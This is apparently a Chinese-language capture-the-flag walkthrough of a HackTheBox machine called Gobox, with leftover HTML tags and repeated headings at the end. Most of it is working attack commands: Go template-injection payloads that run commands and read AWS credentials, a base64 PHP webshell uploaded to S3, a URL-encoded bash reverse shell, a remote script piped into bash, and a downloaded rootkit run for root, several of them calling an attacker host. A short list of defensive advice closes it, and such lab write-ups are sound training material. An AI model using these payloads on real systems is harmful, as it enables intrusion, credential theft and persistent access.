Gobox渗透测试实战：从SSTI到Root权限获取<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别<\/h3>

IP地址: 10.10.11.113<\/li>

开放端口:

22\/tcp: OpenSSH 8.2p1 Ubuntu<\/li>
80\/tcp: nginx (标题: Hacking eSports | {{.Title}})<\/li>
4566\/tcp: nginx (403 Forbidden)<\/li>

8080\/tcp: nginx (标题: Hacking eSports | Home page)<\/li> <\/ul> <\/li> <\/ul>

1.2 扫描技术<\/h3>

使用以下命令进行快速扫描：<\/p>

ip=<\/span>'10.10.11.113'<\/span>; itf=<\/span>'tun0'<\/span>
<\/span><\/span>if<\/span> nmap -Pn -sn "<\/span>$ip"<\/span> | grep -q "Host is up"<\/span>; then<\/span>
<\/span><\/span>  echo -e "\e[32m[+] Target <\/span>$ip is up, scanning ports...\e[0m"<\/span>
<\/span><\/span>  ports=<\/span>$(<\/span>sudo masscan -p1-65535,U:1-65535 "<\/span>$ip"<\/span> --rate=<\/span>1000<\/span> -e "<\/span>$itf"<\/span> | awk '\/open\/ {print $4}'<\/span> | cut -d '\/'<\/span> -f1 | sort -n | tr '\n'<\/span> ','<\/span> | sed 's\/,$\/\/'<\/span>)<\/span>
<\/span><\/span>  if<\/span> [<\/span> -n "<\/span>$ports"<\/span> ]<\/span>; then<\/span>
<\/span><\/span>    echo -e "\e[34m[+] Open ports found on <\/span>$ip: <\/span>$ports\e[0m"<\/span>
<\/span><\/span>    nmap -Pn -sV -sC -p "<\/span>$ports"<\/span> "<\/span>$ip"<\/span>
<\/span><\/span>  else<\/span>
<\/span><\/span>    echo -e "\e[31m[!] No open ports found on <\/span>$ip.\e[0m"<\/span>
<\/span><\/span>  fi<\/span>
<\/span><\/span>else<\/span>
<\/span><\/span>  echo -e "\e[31m[!] Target <\/span>$ip is unreachable, network is down.\e[0m"<\/span>
<\/span><\/span>fi<\/span>
<\/span><\/span><\/code><\/pre>2. 初始访问：Golang SSTI漏洞利用<\/h2>
2.1 目标配置<\/h3>
echo '10.10.11.113 gobox.htb'<\/span>>>\/etc\/hosts
<\/span><\/span><\/code><\/pre>2.2 漏洞发现<\/h3>
目标网站使用Golang模板引擎，存在服务器端模板注入(SSTI)漏洞。<\/p>
2.3 漏洞利用步骤<\/h3>

访问忘记密码功能：<\/li>
<\/ol>
curl -X POST http:\/\/gobox.htb:8080\/forgot\/ -d "email=test@example.com"<\/span>
<\/span><\/span><\/code><\/pre>
利用SSTI执行命令：<\/li>
<\/ol>
# 获取主机名<\/span>
<\/span><\/span>curl -X POST http:\/\/gobox.htb:8080\/forgot\/ -d 'email={{ .DebugCmd "hostname" }}'<\/span>
<\/span><\/span>
<\/span><\/span># 列出home目录<\/span>
<\/span><\/span>curl -X POST http:\/\/gobox.htb:8080\/forgot\/ -d 'email={{ .DebugCmd "ls ~ -la" }}'<\/span>
<\/span><\/span>
<\/span><\/span># 读取AWS凭证<\/span>
<\/span><\/span>curl -X POST http:\/\/gobox.htb:8080\/forgot\/ -d 'email={{ .DebugCmd "cat ~\/.aws\/*" }}'<\/span>
<\/span><\/span><\/code><\/pre>获取到的AWS凭证：<\/p>
aws_access_key_id=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
aws_secret_access_key=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
<\/code><\/pre>
3. AWS S3存储桶利用<\/h2>
3.1 枚举S3存储桶<\/h3>
curl -X POST http:\/\/gobox.htb:8080\/forgot\/ -d 'email={{ .DebugCmd "aws s3api list-buckets" }}'<\/span>
<\/span><\/span>curl -X POST http:\/\/gobox.htb:8080\/forgot\/ -d 'email={{ .DebugCmd "aws s3 ls s3:\/\/website" }}'<\/span>
<\/span><\/span><\/code><\/pre>3.2 上传Webshell<\/h3>

创建PHP webshell：<\/li>
<\/ol>
curl -X POST http:\/\/gobox.htb:8080\/forgot\/ -d 'email={{ .DebugCmd "echo -n PD9waHAgc3lzdGVtKCRfR0VUWydzaGVsbCddKTsgPz4K | base64 -d > \/tmp\/shell.php" }}'<\/span>
<\/span><\/span><\/code><\/pre>
上传到S3存储桶：<\/li>
<\/ol>
curl -X POST http:\/\/gobox.htb:8080\/forgot\/ -d 'email={{ .DebugCmd "aws s3 cp \/tmp\/shell.php s3:\/\/website\/shell.php" }}'<\/span>
<\/span><\/span><\/code><\/pre>
访问webshell执行命令：<\/li>
<\/ol>
curl 'http:\/\/gobox.htb\/shell.php?shell=id'<\/span>
<\/span><\/span><\/code><\/pre>
获取反向shell：<\/li>
<\/ol>
curl 'http:\/\/gobox.htb\/shell.php?shell=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%36%2e%33%33%2f%31%30%30%33%32%20%30%3e%26%31%27'<\/span>
<\/span><\/span><\/code><\/pre>获取user flag：<\/p>
b3fe16c3ec3d2d2e65faac130f0f2498
<\/code><\/pre>
4. 权限提升：Nginx后门模块利用<\/h2>
4.1 发现Nginx后门模块<\/h3>
目标系统存在Nginx后门模块ngx_http_execute_module.so<\/code>。<\/p>
4.2 利用KTOR工具<\/h3>
www-data@gobox:~$ curl http:\/\/10.10.16.33\/ktor.sh|bash -s -- -l -p all
<\/span><\/span><\/code><\/pre>4.3 验证后门模块<\/h3>
www-data@gobox:~$ strings \/usr\/share\/nginx\/modules\/ngx_http_execute_module.so| grep run
<\/span><\/span><\/code><\/pre>4.4 利用后门执行命令<\/h3>
www-data@gobox:~$ curl -g "http:\/\/127.0.0.1:8000\/?ippsec.run[id]"<\/span>
<\/span><\/span><\/code><\/pre>5. 持久化：Tyrant rootkit部署<\/h2>
5.1 下载Tyrant<\/h3>
www-data@gobox:~$ curl http:\/\/10.10.16.33\/base\/tyrant -o \/tmp\/tyrant
<\/span><\/span><\/code><\/pre>5.2 设置执行权限<\/h3>
www-data@gobox:~$ curl -g "http:\/\/127.0.0.1:8000\/?ippsec.run[chmod +x \/tmp\/tyrant;\/tmp\/tyrant]"<\/span>
<\/span><\/span><\/code><\/pre>5.3 执行Tyrant获取root<\/h3>
www-data@gobox:~$ \/tmp\/tyrant -uid 0<\/span> -rhost 10.10.16.33 -rport 443<\/span>
<\/span><\/span><\/code><\/pre>获取root flag：<\/p>
d6d6a6ab1e9439036b7901dd8ccd1d55
<\/code><\/pre>
6. 关键知识点总结<\/h2>


Golang SSTI漏洞<\/strong>：<\/p>

通过模板注入执行系统命令<\/li>
利用DebugCmd<\/code>函数执行任意命令<\/li>
<\/ul>
<\/li>

AWS S3存储桶利用<\/strong>：<\/p>

通过AWS CLI工具枚举和操作S3存储桶<\/li>
上传webshell实现远程代码执行<\/li>
<\/ul>
<\/li>

Nginx后门模块<\/strong>：<\/p>

ngx_http_execute_module.so<\/code>模块提供远程命令执行<\/li>
通过特殊URL参数触发命令执行<\/li>
<\/ul>
<\/li>

Tyrant rootkit<\/strong>：<\/p>

提供持久化访问<\/li>
允许权限提升到root<\/li>
<\/ul>
<\/li>

渗透测试流程<\/strong>：<\/p>

信息收集 → 初始访问 → 权限提升 → 持久化<\/li>
每个阶段都利用了不同的技术组合<\/li>
<\/ul>
<\/li>
<\/ol>
7. 防御建议<\/h2>


防止SSTI<\/strong>：<\/p>

对用户输入进行严格过滤<\/li>
禁用模板引擎的调试功能<\/li>
<\/ul>
<\/li>

AWS安全<\/strong>：<\/p>

遵循最小权限原则配置IAM<\/li>
定期轮换访问密钥<\/li>
启用S3存储桶日志记录<\/li>
<\/ul>
<\/li>

Nginx安全<\/strong>：<\/p>

仅加载可信模块<\/li>
定期审计服务器配置<\/li>
<\/ul>
<\/li>

Rootkit防御<\/strong>：<\/p>

使用完整性检查工具检测文件修改<\/li>
监控异常网络连接<\/li>
实施严格的权限控制<\/li>
<\/ul>
<\/li>
<\/ol>

Gobox渗透测试实战：从SSTI到Root权限获取<\/h1>

1. 信息收集阶段<\/h2>

2. 初始访问：Golang SSTI漏洞利用<\/h2>

2.2 漏洞发现<\/h3> 目标网站使用Golang模板引擎，存在服务器端模板注入(SSTI)漏洞。<\/p>

3. AWS S3存储桶利用<\/h2>

4. 权限提升：Nginx后门模块利用<\/h2>

4.1 发现Nginx后门模块<\/h3> 目标系统存在Nginx后门模块ngx_http_execute_module.so<\/code>。<\/p>

5. 持久化：Tyrant rootkit部署<\/h2>

2.2 漏洞发现<\/h3>
目标网站使用Golang模板引擎，存在服务器端模板注入(SSTI)漏洞。<\/p>

4.1 发现Nginx后门模块<\/h3>
目标系统存在Nginx后门模块`ngx_http_execute_module.so<\/code>。<\/p>`